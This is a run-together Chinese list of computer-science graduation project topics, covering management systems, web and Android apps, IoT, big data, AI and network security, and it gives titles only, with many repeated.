库管理系统汽车销售系统药品供销存系统通讯录管理系统简单小游戏设计教材管理系统打字练习系统网络计时管理系统旅游资源及线路管理系统绩效评价系统保险单管理系统车间调度系统酒店管理系统自动组卷系统CTI电话语音应答系统商场管理系统烟花爆竹经销管理城市公交查询系统进销存管理系统医疗纠纷检索系统连锁店管理系统点对点聊天文件传输系统服装专卖店管理系统毕业论文管理系统学生交费管理系统电脑租赁系统学校田径运动会管理系统医院血库管理系统停车场管理系统学校工资管理系统银行代扣代发工资系统运输公司信息管理系统IC卡管理系统建材销售管理系统社会福利保障系统招生管理系统学校用电收费管理系统设备信息管理系统人口管理系统科研项目管理系统超市管理系统住院信息管理系统药品公司进销存管理系统学生成绩管理系统物流管理系统网吧计费系统考试分析评价系统固定资产管理系统干部档案管理系统B机房学生上机管理系统计算机维修管理系统车辆管理系统个人邮件处理系统身份证管理系统餐饮管理系统医院门诊管理系统图书借阅管理系统书店管理系统期刊信息管理系统酒店客房管理计算机等级考试管理系统光盘信息管理系统小区物业管理系统无纸化考试系统售楼管理系统销售管理系统防火墙的设计与实现简单远程控制系统被控端实践简单远程控制系统主控端实践文档分类管理插件的设计与实现VB. NET类计算机专业毕业设计题目酒店管理系统小区物业管理系统电子邮件客户端系统宾馆管理系统电子邮件服务器学生旧货信息系统旅游业务管理系统人力资源管理系统学生旧货信息系统酒店餐饮管理系统车辆档案管理系统订单管理系统媒体播放器门诊就诊系统的设计与实现家庭理财系统的设计与实现VC类计算机专业毕业设计题目第1-50个题目宾馆管理系统仓库管理系统酒店餐饮管理系统网络电话设计学籍管理系统Xray动态图像采集系统人脸识别技术人脸识别技术人事管理系统TCP协议分析器的设计与实现ERP采购系统接头绘制图形系统的设计和实现SNMP简单网络管理协议的研究与应用MPEG-4视频编码的DSP软件优化及加密算法研究网络游戏-贸易时代文本数据分析与信息检索基于数据包捕获与分析的个人防火墙吃豆子游戏MD5算法--整合应用程序的构建可视化图象处理系统的设计与实现加减乘除计算器遗传神经网络在股票价格预测中的应用个人防火墙技术与实现五子棋游戏聊天室系统五子棋游戏客户管理系统酒店管理系统针式打印机命令处理仿真软件的设计与实现基于IP的视频监控系统—存储和回放模块QT基于IP协议的视频监控系统QT基于SGIP协议的短消息网关模拟器设计基于CS结构的局域网通信系统网络嗅探器设计医学图象处理系统工资管理系统考试质量分析系统基于Windows Socket技术的语音传输系统的研究网络即时通信的原理和实现移动通信中的密钥管理全国天气信息管理系统24点游戏的开发和实现指纹识别系统Windows进程管理工具设计与实现数字图像处理和模式识别在交通检测中的应用基于VC的多媒体播放器设计图书管理系统论文学生成绩信息管理系统网络攻击与防御(扫描程序设计)企业人事管理系统第51-100个题目考勤信息管理系统酒店餐饮管理系统汇编器设计与实现基于MapInfo的城市GIS系统机房监控系统员工培训管理系统学生信息管理系统设计图书管理系统四国军棋系统职工工资管理系统VF类计算机专业毕业设计题目第1-50个题目资料信息管理系统中学成绩管理系统仓库管理系统办公用品管理系统超市管理系统家政服务管理系统客户管理系统人力资源管理系统人事管理系统手机销售管理系统同学录管理系统图书管理系统音像租赁管理系统学籍管理系统员工培训管理系统药品销售系统职员信息管理系统商厦人员管理系统学生档案管理系统学生综合素质管理系统教学质量监控系统餐饮管理系统教务管理系统合同管理系统名片管理系统商品销售管理系统学生管理系统考勤管理系统企业订单管理系统学生学籍管理系统教学管理系统超市管理系统固定资产管理系统工资管理系统图书管理系统学生信息管理系统图书管理系统工资管理系统库存管理系统职员信息管理系统人事管理系统党员管理系统考勤管理系统汽车销售系统人力资源管理系统学生综合素质管理系统小说租阅管理系统航空售票管理系统商业汇票/支票管理系统成绩计算分析系统第51-100个题目病房管理系统工程预算系统宾馆客房管理系统电话资费系统空调售后服务系统教学设备管理系统邮政编码系统个人理财系统电脑公司财务管理系统酒店客房管理系统教职工信息管理系统道路运输证管理系统图书管理系统学生档案管理系统空调售后服务系统教学设备管理系统邮政编码系统个人理财系统电脑公司财务管理系统酒店客房管理系统教职工信息管理系统道路运输证管理系统图书管理系统学生档案管理系统web 与 Android APP基于Android的RFID仓库物资查询系统基于Android的茶百科新闻资讯APP系统的设计与开发基于Android的即时通讯系统设计与实现基于android的小学数学练习系统设计与实现基于android的校园购物系统设计与实现基于android的英语学习系统设计与实现基于Android开发的新闻客户端系统设计基于ASP. NET的花店销售网站设计与实现基于ASP. NET的网络投票网站的设计与实现基于ASP. NET的在线聊天网站的设计与实现基于ASP. NET的在线音乐网站的设计与实现基于ASP的旅游管理系统的设计与实现基于ASP的图书馆网站的设计与制作基于ASP的网上人事管理系统的设计与实现基于ASP语言的公司商业网站的设计与实现基于asp语言的手工网站的设计与实现基于C#的动作冒险类游戏设计基于C#的银行账户管理系统的设计与实现基于c++的文本朗读开发基于div+css的网站制作基于html5的电商App系统设计基于html5的电商网站的设计与实现基于java的超市账单管理系统的设计与实现基于Java的蛋糕购买系统基于java的学生宿舍管理系统的设计与实现基于JSP的教务管理系统设计与实现基于jsp的企业电子商城设计与实现基于JSP的学生成绩管理系统设计基于PHP的公共自行车系统设计基于PHP的购物网站设计与实现基于PHP的图书管理系统设计与实现基于PHP技术的网上商城系统的设计基于PHP技术的新闻管理系统的设计与实现基于Web的网络教学系统的设计与实现基于Web的网上物流系统设计与实现基于web的校园考研网站的创建与设计基于web的医院信息管理系统系统设计基于Web技术的企业人事管理系统的设计与实现基于淘宝客的导购网站的设计与实现基于移动设备的网购商城的设计与实现基于增强现实的工业辅助指导系统企业网VPN的设计与实现网上图书查询与销售系统设计与实现校园网网络安全分析与设计学生管理系统的设计与实现学生信息管理系统的设计与实现音乐播放器在移动终端的实现“互联网+农户”的水果供销平台的设计与开发超市管理系统的设计与实现高校校园网升级改造建设研究基于Android的环境温度检测系统的开发与设计基于Android的校园交友系统开发与设计基于Android的校园商品交易系统开发与设计基于Android的自动朗读软件开发基于ASP的酒店管理系统的设计与实现基于ASP的旅游管理网站系统的设计与实现基于ASP的旅游咨讯网站管理系统的设计与实现基于ASP的网上交友系统的设计与开发基于SpingBoot的网上办公系统的设计与实现基于Spring Boot的考研辅助系统的设计与实现基于spring boot的宿舍管理系统的设计与实现基于Spring Boot的头条平台的设计与实现基于SpringBoot的仓库管理系统的设计与实现基于SpringBoot的高校运动会管理系统的设计与实现基于SpringBoot的校园交友APP的设计与实现基于ssm大学生校园兼职平台的设计与实现基于SSM的超市零售管理系统的设计与实现基于SSM的电商后台管理系统的设计与实现基于SSM的电影影评分享平台的设计与实现基于SSM的儿童摄影预约网站的设计与实现基于ssm的房屋租赁管理系统的设计与实现基于SSM的驾校管理平台的设计与实现基于SSM的理发店信息管理系统的设计与实现基于SSM的社区疫情防控系统的设计与实现基于SSM的手机销售系统的设计与实现基于SSM的宿舍管理系统的设计与实现基于SSM的图书馆座位预约系统的设计与实现基于SSM的校园志愿者服务管理系统设计与实现基于SSM的养老院信息管理系统的设计与实现基于SSM的医药管理系统的设计与实现基于SSM的音乐网站设计与实现“基于SSM框架的保健中心健康管理系统设计与实现”基于SSM框架的数码产品销售系统的设计与实现嵌入式方向基于物联网的智能衣柜系统设计基于物联网的智慧家庭健康医疗系统设计基于物联网的智能饮水机系统设计基于STM32的寻迹小车设计基于STM32的快递箱的设计基于STM32的智能节能风扇的设计基于STM32的个人健康助手的设计基于STM32的快递箱的设计基于STM32的智能节能风扇的设计基于STM32的个人健康助手的设计基于STM32的病房监控系统的设计基于STM32的智能书房系统的设计基于物联网的香薰灯的设计基于物联网的智能药盒的设计基于物联网的伸缩晒衣架的设计物联网技术在智能校园中的应用和设计智能换气系统的设计与实现基于物联网的智能体重秤设计与实现物联网智能家居的远程视频监控系统设计高校智慧教室物联网系统设计与实现基于RFID物联网技术下物流智能仓储系统的研究物联网虛拟仿真实验教学中心平台建设基于语音控制的智能家居系统的设计基于物联网技术的智慧超市系统的研究新型物联网创新实践教学体系建设基于物联网的智能家居控制系统设计与实现基于物联网的仓库环境监测系统基于云计算的物联网数据网关的建设研究物联网智能仓储系统的设计物联网工程专业实验室建设方案研究基于物联网的农业大棚环境监测系统设计基于物联网的智能家居系统研究厨房安全监控系统的设计与实现基于RFID的农产品质量追溯系统设计基于RFID技术的小区门禁系统设计基于物联网的血压监护系统设计基于物联网的公司考勤系统设计基于物联网的智能LED照明集中控制系统基于物联网的仓储管控一体化系统实现路径基于物联网的日温室远程监控系统设计物联网社区信息化管理系统设计物联网中基于WIFI的室内温度检测系统设计基于物联网架构的温室环境温湿度传感器节点设计可燃气体远程报警装置的设计生理体征无线检测系统设计家居远程安防报警系统设计基于物联网的路灯监控系统设计基于物联网的楼道照明系统设计基于物联网的智能交通灯控制系统设计基于物联网的城市低洼地段水深报警系统设计基于单片机的光照检测系统设计基于物联网的路灯监控系统设计基于物联网的楼道照明系统设计基于物联网的智能交通灯控制系统设计基于物联网的城市低洼地段水深报警系统设计大数据方向基于hadooop和spark研究抖音app对大学生用户的影响基于mahout的哔哩哔哩视频推荐系统基于BP神经网络的智能家用电器用户行为分析与事件识别基于Spark平台的路径查找算法与实现基于spark的重复语义处理基于Spark平台的5G潜在用户挖掘与分析基于Spark的网络文学作品影响力分析——以晋江文学城作品为例基于大数据挖掘技术的突发事件网络舆情分析研究基于Spark平台的肥胖与人体疾病的关联性分析——以某市公安局体检数据为例基于Spark平台的车险购买行为预测昆明民宿竞争圈的发现与分析基于机器学习的眼科疾病分析与预测深度学习框架下基于CNN算法的手写数字识别基于流计算的视频网站用户访问日志大数据分析基于Hadoop平台的电商商品推荐系统的设计及实现基于faster rcnn的人物识别和人物定位基于大数据的酒店竞争分析基于spark的鞋价数据分析基于Spark的数据实时流统计与分析基于spark的决策树花草图像分类基于Spark平台的图书销售数据分析基于steam的热销游戏的特征分析环境污染程度的研究——基于数据分析与机器学习基于大数据的法律咨询分析与推荐大数据Flume技术及应用当代大学生熬夜用户画像分析基于spark技术使用主成分分析探究新冠疫情对餐饮行业影响的设计大数据hive技术及数据仓库的搭建与应用基于决策树的电商平台商品推荐系统基于Spark平台的书籍推荐算法与实现基于神经网络算法的乳腺癌数据的分类与检测基于机器学习的航班数据分析与预测Hadoop+Spark集群下深度学习的实现及技术研究基于流式计算的实时处理与分析用户个性化新闻推荐系统的设计与实现基于Spark平台的二手车价格预测系统融合深度学习与文本情感分析的股市行情预测基于机器学习算法的爱奇艺电视剧播放量预测基于大数据平台的智慧水务平台的设计与实现基于hadoop的海量web日志分析系统研究基于Spark的数据科学家工作变动分析基于大数据技术的bilibili弹幕数据分析大数据系统监控与管理的研究及应用基于大数据技术的微博舆情分析基于Spark平台的气象数据分析与预测基于MapReduce的气候数据的分析基于关键词的文本知识的挖掘系统的设计与实现基于概率图模型的蛋白质功能预测基于第三方库的人脸识别系统的设计与实现基于hbase搜索引擎的设计与实现基于Spark-Streaming的黑名单实时过滤系统的设计与实现客户潜在价值评估系统的设计与实现基于神经网络的文本分类的设计与实现基于Apriori的商品关联关系分析与挖掘基于词频统计的中文分词系统的设计与实现K-means算法在微博数据挖掘中的应用图像对象检测分析系统的研究和应用基于Apriori关联规则的电子商务潜在客户的数据挖掘基于Spark的电商用户行为分析系统的设计与实现音乐推荐系统的研究与应用基于大数据的高校网络舆情监控引导系统的研究与应用基于医疗大数据的肿瘤疾病模式分析与研究基于支持向量机的空间数据挖掘及其在旅游地理经济中的应用基于深度残差网络的糖尿病视网膜病变分类检测研究基于大数据分析的门户信息推荐系统Web数据挖掘及其在电子商务中的研究与应用面向电信CRM的数据挖掘研究与应用基于物联网的小麦生长环境数据采集与数据挖掘技术研究与应用基于k-means算法在微博数据挖掘中的应用Apriori关联规则算法的数据挖掘技术挖掘电子商务潜在客户的应用基于大数据的个性化学习环境构建的研究与应用基于Kafka和Spark流计算集群的铁道供电监控实时处理系统的研究与应用面向柑橘病虫害预警的Hadoop数据挖掘技术研究与应用基于大数据的高校网络舆情监控引导系统的研究与应用基于Hadoop的高校固定资产管理系统研究与实现基于MongoDB/HBase的知识共享平台的设计与实现基于Hadoop与SSM的大数据分布式云存储平台设计与实现基于大数据的体育用品企业营销支撑系统的设计与实现分布式遥感影像数据私有云平台设计与实习基于Spark的电商用户行为分析系统的设计与实现贝叶斯网络模型在旅游大数据分析中的应用Spark SQL系统查询优化方法的应用与实现基于数据挖掘技术构建电信5G客户预测模型的研究与应用基于支持向量机的空间数据挖掘方法及其在旅游地理经济分析中的应用基于MapReduce的top-K join查询算法的实现人工智能方向基于目标检测的人流量自动统计算法研究与实现基于Python的数据集分析基于深度学习的自助聊天室构建基于树莓派的实时目标检测研究基于深度学习的流行度预测研究基于深度学习的艺术画风格识别基于深度学习的时尚标签识别基于机器学习的车牌竞价价格预估基于深度学习的快速目标检测研究基于机器学习技术的量化交易模型设计与实现基于深度学习的跨模态医学影像处理与分析基于双目视觉的实时调整识别方法研究与实现基于OpenCV的人脸识别卡通贴图软件基于运动控制器的实时伺服控制插补算法优化与开发基于深度学习的摄影参数预测基于多模态信息融合的图像美学质量评价基于生成对抗网络的图像域迁移基于深度学习的图像目标检测基于深度学习的行人重识别英语选词填空智能作答机器人基于深度学习的花名识别基于深度学习的图像美学质量评价与增强基于大数据的个性化音乐推荐系统基于Python的个性化电影推荐系统研究基于TensorFlow的图像风格迁移基于特征相似度的图像检索系统基于GroupLens网站数据集的社交关系改进技术研究基于正弦函数的参数标定与成像-数字图像处理在CT中的应用基于正弦函数的参数标定与成像-CT反投影重建成像基于Phthon的糖尿病风险分析基于VACP的疟疾风险预测系统设计与实现基于时空的包虫病监控系统设计与实现基于Phthon的中国影业数据分析基于深度学习的高性能物体检测与分割模型基于数据挖掘的动态多因子选股的量化投资模型研究基于python的在线自动判题系统设计与实现基于深度学习的军事目标检测方法研究基于机器学习的垃圾短信过滤基于卷积神经网络的人脸识别技术研究基于深度神经网络的医学图像自动识别基于深度神经网络的心电图异常信号检测小程序001(微信小程序)微信小程序自习室查询002(微信小程序)微信小程序 课后辅导管理系统003(微信小程序)微信小程序的群内通知提醒系统004(微信小程序)微信小程序的学生成绩查询系统005(微信小程序)微信小程序 教务管理系统006(微信小程序)在线 微信小程序007(微信小程序)微信小程序篮球比赛管理系统008(微信小程序)微信商城小程序009(微信小程序)小程序简单汽车010(微信小程序)基于微信小程序的互联网+教育学习平台的研究与设计011(微信小程序)基于微信小程序的电源监测管理系统设计012(微信小程序)基于微信小程序的医患交流平台的设计与研究013(微信小程序)计算机毕业设计基于微信小程序的医疗设备管理系统设计与实现014(微信小程序)基于微信小程序的美食点餐推荐系统的设计与实现015(微信小程序)基于微信小程序的高校新生预报到系统设计016(微信小程序)基于微信小程序的高校期末考试智能安排系统017(微信小程序)基于微信小程序的个人电台系统的设计与实现018(微信小程序)基于微信小程序的签到系统设计与实现019(微信小程序)基于“微信小程序”调查测试类程序的研究与开发020(微信小程序)基于微信小程序的医嘱服务研究021(微信小程序)基于资源整合的我要大学答案小程序设计与实现022(微信小程序)基于微信小程序的“一带一路”信息及路线动态可视化023(微信小程序)家校微信小程序的设计和开发024(微信小程序)一款基于微信小程序的快递个人信息加密平台025(微信小程序)基于微信小程序的党建红色微平台的设计与开发026(微信小程序)《教育技术理论与创新》课程的微信小程序的设计研究027(微信小程序)基于WebApi和类WebApp的毕业论文管理系统028(微信小程序)基于微信小程序的课程在线测试系统029(微信小程序)毕业论文选题系统的设计与实现030(微信小程序)“WECO课堂”:基于微信小程序的师生交互系统网络安全方向网络安全协议的形式化自动验证优化研究基于大数据的工控网络态势感知技术研究与应用基于随机森林的工控网络安全态势要素提取方法研究基于主机日志的恶意登录异常检测方法研究融合社交网络威胁的攻击图生成方法研究基于卷积神经网络的网络安全态势感知研究基于lstm的电商平台对消费者消费数据信息的保护算法基于卷积神经网络的网络入侵检测算法设计与实现面向网络攻击行为的可视分析研究基于贝叶斯网络和支持向量机的网络安全态势评估和预测方法研究基于DBN与ELM算法的入侵检测研究基于自动编码器的入侵检测系统研究与实现基于机器学习的网络安全态势感知模型研究与实现基于Java EE的远程安全评估系统的设计与实现基于文本特征及DNS查询特征的非常规域名检测面向防火墙漏洞的动态分析方法异构无线网络能效和安全优化研究连续时间Markov工业互联网安全性测度方法研究基于改进的TWSVM工业控制系统入侵检测方法研究基于改进深度森林的入侵检测方法研究深度学习&机器学习基于NLP,ASR及TTS技术的智能语音分析工具-负责语义分析部分基于用户的音乐推荐平台 基于机器学习的文本语义分析工具 基于图像的结构化数值识别系统的设计与实现 MOOC视频内容推荐工具的设计与实现 基于人脸识别的智能小区门禁系统设计与实现 可定制智能信息查询与检索系统的设计与实现 基于卷积神经网络的图像风格化处理 基于卷积神经网络的图像修复系统设计与实现 基于深度学习的目标实例分割 基于纹理分析的医学图像处理 基于全卷积神经网络的医学图像分割 基于人脸识别的签到系统的设计与实现 智慧校园语音交互系统的设计与实现 中国天气质量数据展示与分析系统实现 经典诗文自动生成设计与实现 基于Opencv的行人检测系统设计 基于主题和社会的top-N推荐系统的设计与实现 基于人工智能谱曲的设计与实现(LSTM等) 智能人员考勤管理系统设计与实现 无人超市人脸支付系统设计与实现 服务外包系统设计与实现 基于NVIDIA TX2的货物识别系统设计与实现 招聘网站数据类人才招聘特征分析与挖掘的算法实现 基于大数据的图像标注软件设计与实现 基于深度学习的垃圾识别分类研究与实现 基于时间序列的医疗数据分析算法研究与实现 人脸识别中活体检测技术研究 基于深度学习的图像风格艺术化 静态图像人体轮廓提取方法的研究 基于深度学习的行人检测 基于张量分解的脑纹识别研究 网络大数据的同步分流Java程序设计 基于雾霾数据的分析与预测系统设计与实现 基于校园数据的分析与管理系统设计与实现 基于raft算法的分布式内存系统开发 基于海洋数据的分析与预测系统设计与现实 基于深度学习的蛋白质种类检测和识别研究 基于深度学习的图像拼接技术研究与应用 基于深度学习的商品标签的识别与检测算法研究 基于深度学习的单目图像深度估计 基于深度学习的图像微变化检测算法研究 基于深度学习的文字识别与检测算法研究 基于深度学习的音乐分类算法研究 基于目标检测的人流量自动统计算法研究与实现 基于Python的数据集分析 基于深度学习的自助聊天室构建 基于树莓派的实时目标检测研究 基于深度学习的流行度预测研究 基于深度学习的艺术画风格识别 基于深度学习的时尚标签识别 基于机器学习的车牌竞价价格预估 基于深度学习的快速目标检测研究 基于机器学习技术的量化交易模型设计与实现 基于深度学习的跨模态医学影像处理与分析 面向数字货币的量化系统 网络数据爬取及可视化分析----天气数据分析 网络数据爬取及可视化分析---图书阅读分析 网络数据爬取及可视化分析---影视数据分析 基于Python的主流Web开发框架研究及实现 基于协同过滤的电影推荐系统 基于OpenCV车牌识别系统 基于深度学习的公共场所客流运动模式分割算法研究 基于数据挖掘的单车用户特征识别 公交电动车辆电量监控管理子系统设计与实现 人工智能技术在电磁场仿真中的应用 人工智能技术在电路优化中的应用 基于遗传算法的客服人员管理系统设计和实现 基于协同过滤的广告推荐算法设计与实现 基于网络爬虫和数据分析对淘宝用户进行智能化商品推荐 爬虫系统中基于规则的智能Agent模块的设计与实现 基于协同过滤的电影推荐系统的设计与实现 基于全文检索技术的智能人才管理系统的设计与实现 面向信息类网站的通用爬虫系统的设计与实现 基于情感分析算法的新闻分类系统的设计与实现 基于聚类算法的离群点数据分析系统的设计与实现 基于大数据的公交线路客流预测研究 基于PCA-SVM的分类方法研究 代码抄袭检测平台的设计与实现 基于主题模型的代码评论分析 基于爬虫的Android APP评论分析 基于自然语言处理模型的公共自行车数据分析 基于web的电影推荐系统 基于OpenCV的车牌识别系统 基于网络数据流信息的可视分析系统 基于三维卷积神经网络的肺癌辅助诊断 基于深度学习的水果种类识别 工人维修路径优化算法研究 基于数据挖掘的网上房源信息可视化分析与智能推荐 图像文本语义描述自动生成方法实现 基于深度学习的超分辨率图像重建 基于分布式爬虫的搜索引擎设计与实现 工业大数据可视化方法研究和开发 快速图像风格迁移方法研究与实现 基于双目视觉的实时调整识别方法研究与实现 基于OpenCV的人脸识别卡通贴图软件 基于运动控制器的实时伺服控制插补算法优化与开发 基于深度学习的摄影参数预测 基于多模态信息融合的图像美学质量评价 基于生成对抗网络的图像域迁移 基于深度学习的图像目标检测 基于深度学习的行人重识别 英语选词填空智能作答机器人 基于深度学习的花名识别 基于深度学习的图像美学质量评价与增强 基于大数据的个性化音乐推荐系统 基于Python的个性化电影推荐系统研究 基于TensorFlow的图像风格迁移 基于特征相似度的图像检索系统 基于GroupLens网站数据集的社交关系改进技术研究 基于正弦函数的参数标定与成像-数字图像处理在CT中的应用 基于正弦函数的参数标定与成像-CT反投影重建成像 基于Phthon的糖尿病风险分析 基于VACP的疟疾风险预测系统设计与实现 基于时空的包虫病监控系统设计与实现 基于Phthon的中国影业数据分析 基于深度学习的高性能物体检测与分割模型 基于数据挖掘的动态多因子选股的量化投资模型研究 基于python的在线自动判题系统设计与实现 基于深度学习的军事目标检测方法研究 基于机器学习的垃圾短信过滤 基于卷积神经网络的人脸识别技术研究 社交网络的数据分析与可视化系统的设计与实现 一种改进的多层次HOG行人检测方法 基于ELK的用户行为分析系统设计与实现 基于人脸识别技术的实验室门禁系统设计与实现 基于机器学习的用户位置信息预测研究 面向脸谱的网络数据采集与分析系统研发 面向领英的网络数据采集与分析系统研发 面向微博的网络数据采集与分析系统研发 面向新闻网站的网络数据采集与分析系统研发 面向暗网的网络数据采集与分析系统研发 面向Instagram的网络数据采集与分析系统研发 基于组合学习的产品分类 基于磁共振成像的膀胱肿瘤检测系统设计与实现 人物关系三维可视分析 基于即时数据的GDP预测 可视分析辅助的分类方法 基于机器学习算法的数字识别app开发 多源数据融合的计步算法研究 基于机器学习的动作识别系统 基于蚁群算法的协同过滤推荐系统 “狼人杀”情感识别标注系统设计与实现 长文本文字情感分析以及关键词提取 多目标检测算法 跨摄像头多目标追踪 基于聚类技术的低价机票识别 个性化美食推荐系统设计 个性化同声传译系统开发 基于用户喜好的点餐系统设计与实现 基于CNN的车型识别 基于室外图像的天气现象识别方法 给你的自拍照打分 基于python的移动端车牌号识别软件的设计与实现 基于微博的短视频分类与处理 基于深度学习的人体检测 基于深度学习的时尚单品识别 公共自行车路径规划算法实现 基于Deep ID的人脸匹配系统 基于语音识别的图像编辑系统的设计与实现 基于爬虫的程序题库构建与分析 基于爬虫的IT技术问答数据的收集与分析 基于Python的租房辅助系统的设计与实现 基于Python的关键词识别与统计的设计与实现 基于HTML5的试题出卷系统 基于脑电信号的双稳态视觉刺激系统 高考大数据挖掘算法研究 高考志愿智能推荐系统 高考选考科目查询与分析系统 基于网络爬虫的程序设计题库构建 基于手机的垃圾分类查询软件 基于手机的校园活动报名签到系统 保密实验室出入检测系统 独居老人情感状态监护系统 大型医院手术患者身份确认系统 基于深度学习的动漫角色生成方法研究 基于深度学习的中文书法字体生成方法研究 基于生成对抗网络的图像生成方法研究 智能点名系统的设计与实现 基因表达谱特征选择方法研究 基于数据挖掘的上市公司舞弊风险分析 基于TF-IDF和朴素贝叶斯方法的文档分类 基于社交数据的用户画像系统设计与实现 基于Java Web的音乐播放平台 基于深度学习的商品识别算法研究 基于无人机的目标检测与识别技术及实现 基于文字检测与识别的技术研究 基于web的商品类别及特征的提取与分类 基于深度学习的人脸检测算法研究 基于大数据分析的网店经营状况分析及排名 面向电商平台的商品评论爬虫与分析 基于深度学习的图像识别研究 低价机票挖掘系统设计 聊天机器人软件系统设计 个性化新闻推荐系统设计 基于web端和微信的学校智能考勤推送系统 基于结巴分词的软件需求功能文档预处理 基于结巴分词的法院裁判文书预处理 基于WEB的旅行记忆系统设计与实现 社交网络数据分析系统 基于OpenCV的卡通贴图相机的实现 杭州房地产数据分析系统实现 基于视频图像的行人检测系统设计与实现 基于内容的图像检索系统的设计与实现 基于WebGIs的疟疾监控系统的设计与实现 气象数据的爬取及可视化 深度学习模型压缩方法研究 基于迁移深度学习的图像分类 基于机器学习的手写数字识别算法 基于神经网络的名画赝品甄别算法开发 基于边缘检测的交通标志定位 基于Matlab的车牌定位方法 基于Python的股票市场收益预测 利用数据挖掘方法预测音乐流行趋势 高中生选科测评系统 基于微信的性格色彩测试系统 产品满意度问卷调查系统 铁路列车运行线路实时可视化展示 基于卷积神经网络的足球控球统计系统的研究与开发 基于OpenCV的全景图浏览器 基于深度神经网络的医学图像自动识别 基于深度神经网络的心电图异常信号检测 基于爬虫的商品信息比价软件设计与实现 基于空气监测的新风系统设计 基于积极计算的正向情感交互平台设计与实现 基于python的电商网页动态监控系统设计 基于爬虫的人物关系可视化系统 图像加密方法的设计与实现 图像变形方法研究及比较 电信诈骗事件收集及分析技术研究 基于文本描述的图像生成方法研究 基于深度学习的快速图像风格转换方法研究 基于深度学习的图像自动描述生成方法研究 基于SAIKU的大数据多维分析操作可视化 基于Cocos/Unity引擎的休闲类游戏设计开发 python气象数据分析 基于先验知识学习的人群运动模式划分方法 影评推荐系统的设计与实现 网络爬虫管理系统设计与实现 汽车车牌识别系统的设计与实现 人脸识别考勤机的设计与实现 图像hash特征提取与应用 学生成绩情况分析系统 基于DIN的音乐推荐系统 基于大数据的新闻相似度比较系统的设计与实现 基于大数据的舆情正负面判研系统的设计与实现 基于python语言的多种聚类算法的交互演示系统 基于机器学习的XSS检测方法研究 基于深度学习的视觉跟踪方法研究 基于HTML5的多平台网页游戏开发 人物关系可视化 大学生各种卡管理车型分类系统设计与实现 基于光传感器的垃圾智能分类 基于对抗学习的人脸照片-画像转换方法 基于深度学习的字体风格转换方法 基于深度学习的肺癌检测方法研究 基于协同过滤的用户移动轨迹信息预测研究 广度优先文本挖掘爬虫系统开发 智适应算法星球系统的设计与实现 推测照片年龄的APP软件设计与实现 气象数据的三维快速绘制 基于数据挖掘的单车用户特征识别 基于视频的人流量监测系统设计与实现 基于新浪微博的分布式爬虫以及对数据的可视化处理 基于分布式的新闻热点网络爬虫系统与设计 舆情分析可视化系统的设计与实现 基于智能视觉理解的食物图片热量估算系统 基于视频图像的目标跟踪算法研究与C++实现 分布式图像网络爬虫引擎设计与实现 图像场景理解技术研究 基于视频的表情识别系统设计与实现 眼底图像分析研究 基于RGB-D 图像的物体检测与识别 TCT图片自动判读方法及实现 针对人脸的人物特征识别研究与实现 基于深度特征的人脸图像搜索系统设计与实现 基于深度学习的图片视频视觉问答系统研究 伪造图像检测系统设计和实现 基于智能手机的人脸识别 基于深度学习的灰度图上色 Ad Hoc网络性能仿真研究 基于web的爬虫系统的设计与实现 基于本体的信息安全知识抽取系统的设计与实现 网络爬虫系统的设计与实现 基于网络指纹的资源探测 RSA实现中弱密钥漏洞分析 Web服务统一身份认证协议设计与实现 以太坊拒绝服务攻击检测 一种隐私保护的BP神经网络的设计 基于图像的人群聚集检测算法研究与实现 基于OpenCV的人脸识别技术研究及应用 行为活动理解中的弱监督学习研究 基于粒子系统的特效设计与实现 气候环境因素对老年COPD患者的影响分析研究 文本情感理解技术研究 基于深度神经网络的标题分类研究 面向监控图像的人脸判别研究与实现 基于深度强化学习的NPC自主训练模型构建的实现 基于深度学习的网络游戏流失玩家预测算法研究 假期高速公路交通流量预测算法的设计与实现 人脸特征提取算法研究与实现 基于小样本学习的动作识别 基于贝叶斯网络的因果关系研究及算法包实现 基于增强学习的物流优化算法研究 自重多核学习研究 并行计算若干经典算法的设计与实现 基于深度学习的情感分类 大规模O2O订单的物流配送方案设计与实现 多层社交网络的链路预测算法研究 基于反向推荐的个性化推荐算法研究 基于循环神经网络的命名实体识别技术研究 基于深度神经网络的高质量词向量生成方法研究 基于神经网络的弱监督数字识别研究 基于深度学习的场景分类研究 基于LSTM完成对英文词性标注的设计与实现 基于推荐算法的商品流行性预测算法研究 群智计算算法的研究 深度卷积神经网络及其在人脸识别中的应用 基于深度网络的年龄预测算法研究 基于Matlab的ECG心律不齐分类算法的程序实现 基于深度学习的人脸检测与识别系统实现 人物头像的卡通化算法设计与实现 基于机器学习的问答推荐算法设计 基于轨迹数据的最优路径推荐算法设计与实现 基于端到端神经网络模型的词义消歧算法研究 基于平衡树的RFID系统密钥更新算法 深度增强学习理论研究及其在视频游戏上的应用 基于深度学习的医学图像分割 基于泊松分解的推荐算法研究与应用 基于用户评论属性的隐私保护算法研究与分析 基于Tensorflow的猫狗分类问题实现 社会网络下算法博弈的研究与实现 基于深度学习的视频中物体快速搜索算法 基于SDN的防止DHCP欺骗系统设计与实现 基于机器学习的问答评价算法设计 基于记忆网络的视觉逻辑推理算法的研究与实现 针对大规模数据流的实时处理研究 FP-tree关联规则算法的实现与应用 面向M2M网内存储控制算法研究与仿真 基于机器学习的中文情感识别研究 针对网络评论的分类算法研究 机器阅读算法的可解释研究 数字化题库与在线考试系统的设计与实现 基于生成树的复杂网络抽样算法研究 多视角聚类算法研究 基于地图数据的新加坡出租车接送乘客轨迹可视化及需求预测 分布式消息队列的设计与实现 社交网络中的位置推荐算法研究 基于合成数据的logo识别 活动轨迹的语义表达与搜索技术研究 基于目标时空轨迹的大数据分析与挖掘方法研究 社交网络用户关系研究 基于深度强化学习的推荐系统 大数据环境下的隐私安全的图像特征提取及应用 基于低秩表征的图像分割研究 基于DCGAN的cifar10数据集生成设计与实现 基于深度学习的图像检索 基于文本的网络用户分析算法设计与实现 初等数学知识库的研究与构建 图像去雾算法的研究与实现 基于深度网络的RGBD图像分割算法研究 基于卷积神经网络的图像检索研究 基于对抗神经网络的图像超分辨率算法研究 自步多任务多视图聚类算法研究 基于少量样本学习的图像语义分割 基于隐私保护的数据挖掘算法研究 监控环境下的人脸识别系统设计与实现 属性增强的概念图匹配算法研究与应用 基于深度学习的图像检索算法研究 网络回溯系统中流量存储及检索方法设计与实现 基于数据主权区块链的个人数据账户系统设计与实现 基于主权数据区块链的身份共享应用技术 基于数据主权区块链的共享价值代币设计与流通方法 智能交通系统中的错误数据检测 医疗健康档案信息可视化系统设计与实现 基于Matlab的全景图片生成算法实现 基于元胞自动机的复杂系统涌现现象识别方法研究 基于Android的个人健康管理系统设计与实现 